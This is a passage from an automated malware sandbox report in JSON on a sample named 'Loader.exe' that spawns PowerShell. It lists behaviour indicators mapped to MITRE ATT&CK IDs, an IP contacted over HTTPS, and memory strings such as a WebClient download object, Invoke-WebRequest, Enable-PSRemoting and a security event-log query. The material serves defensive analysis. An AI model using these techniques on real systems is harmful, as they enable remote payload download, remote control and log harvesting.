\"LoadLibrary\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"Loader.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates/modifies Windows services using PowerShell","description":"$46","origin":"Monitored Target","mitre_attack_id":"T1543.003","relevance":3,"id":"target-478","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$47","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$48","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"Loader.exe\" queries basic process information of the \"C:\\Loader.exe\" (UID: 6460)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$49","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")\n Found string \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\Environment\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to delay execution (Powershell command string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Loader.exe\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\apppatch\\MergeSdbFilesSource\\sysMerge.sdb\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"Loader.exe\" trying to touch file \"C:\\windows\\temp\\VxOle64.dll\"\n \"Loader.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"Loader.exe\" trying to touch file \"C:\\CRYPTSP.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\CRYPTSP.DLL\"\n \"Loader.exe\" trying to touch file \"C:\\Windows\\System32\\cryptsp.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"Loader.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_tpv2wige.y0o.ps1\"\n \"Loader.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_1midewnx.jod.psm1\"\n \"Loader.exe\" writes file \"%temp%\\__psscriptpolicytest_tpv2wige.y0o.ps1\"\n \"Loader.exe\" writes file \"%temp%\\__psscriptpolicytest_1midewnx.jod.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_54tdtoyr.4qs.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\__psscriptpolicytest_r2tzsvhz.i4p.psm1\"\n \"powershell.exe\" writes file \"\\device\\namedpipe\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00008316-00000C2A-1765577195\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00008316-00000C2A-1765897581\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00008316-00000C2A-1765897620\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00008316-00000C2A-1766444626\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Contains ability to copy items (Powershell command string)","description":"Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Copy-ItemProperty\" (Indicator: \"Copy-ItemProperty\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-377","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Network Related","name":"Contains ability to test network connectivity (Powershell command string)","description":"Found string \"Test-Connection\" (Indicator: \"Test-Connection\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-372","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"Observed string: \"curl\" (Indicator: \"curl\") in Source: 00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-576","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload or download data from a specified domain","description":"file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"00000000-00008316\")\n file/memory contains long string with (Indicator: \"System.Net.WebClient\"; File: \"AMSI\")\n Found reference to API \"$wc = New-Object System.Net.WebClient\" (Indicator: \"System.Net.WebClient\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1102.002","relevance":1,"id":"string-536","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4f","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 65005c9d9ae0f0ebeaf22c210571d482\n Observed JA3 fingerprint: 46f5131e766d248db0248a86c494b71c\n Observed JA3 fingerprint: 091f51a7a1c3a4504a224cc081ce9cee\n Observed JA3 fingerprint: 6a5d235ee78c6aede6a61448b4e9ff1e\n Observed JA3 fingerprint: 3c4eb72b882d4d1442c67ce73f1292a9","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.183.180\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve event logs (PowerShell command string)","description":"Found string \"Get-EventLog\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-300","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve security-related event logs (PowerShell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1654","relevance":1,"id":"string-647","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"Loader.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"10832\"\n \"cx\": \"75\"\n \"cy\": \"23\"}\n \"Loader.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5301098a\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"Loader.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"10832\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"Loader.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"201086a\"\n \"cx\": \"740\"\n \"cy\": \"20\"}\n \"Loader.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"201086a\"\n \"cx\": \"0\"\n \"cy\": \"0\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$52","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"Loader.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008316)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"Loader.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f00000f0000000000000004000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f00000f0000000000000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"Loader.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"Loader.exe\" called \"GetUserNameW\" (UID: 00000000-00006460)\n \"Loader.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008316)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004152)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$53","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RegGetValueW\" (Indicator: \"RegGetValue\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RegEnumKeyExW\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"RegQueryValueExW\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"RegOpenKeyExW\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where the quotation marks indicate a string and the invoke operator (&)\" (Indicator: \"where \"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve local computer information (Powershell command string)","description":"Found string \"Get-ComputerInfo\" (Indicator: \"Get-ComputerInfo\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-281","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"Found string \"Get-Process\" (Indicator: \"Get-Process\"; Source: \"00000000-00006460.00000000.174701.03170000.00000004.mdmp\")\n Found string \"Get-Process\" (Indicator: \"Get-Process\"; Source: \"00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"$57","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004152.00000000.175960.B6503000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"67f561f1852e65e3cd0d1965"},{"report_type":"sandbox","report_id":"67e81f8db2c5379ba8069e66"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: 